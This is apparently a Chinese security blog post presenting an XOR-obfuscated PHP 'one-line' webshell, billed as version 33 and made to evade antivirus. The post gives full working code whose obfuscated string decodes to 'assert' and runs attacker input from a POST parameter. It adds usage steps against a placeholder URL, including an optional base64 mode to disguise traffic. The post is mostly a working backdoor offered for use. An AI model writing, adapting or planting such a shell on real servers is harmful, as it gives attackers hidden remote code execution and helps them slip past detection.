EKDL"); } } $vmtx=new VMTX(); @$vmt..." />

v33异或免杀PHP一句话

venom 33的更新，webshell免杀PHP一句话，体积更小了。

<?php
class VMTX{
function __destruct(){
$BRLI='f$vjcT'^"\x7\x57\x5\xf\x11\x20";
return @$BRLI("$this->EKDL");
}
}
$vmtx=new VMTX();
@$vmtx->EKDL=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>
v33异或免杀PHP一句话

使用说明

是否传入id参数决定是否把流量编码

http://www.xxx.com/shell.php
POST: mr6=phpinfo();//与普通shell相同

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=//payload的base64编码
点赞(0)
Ehtools：一个功能强大的WiFi渗透工具框架 Burpsuite联动sqlmap插件：sqlmap4burp++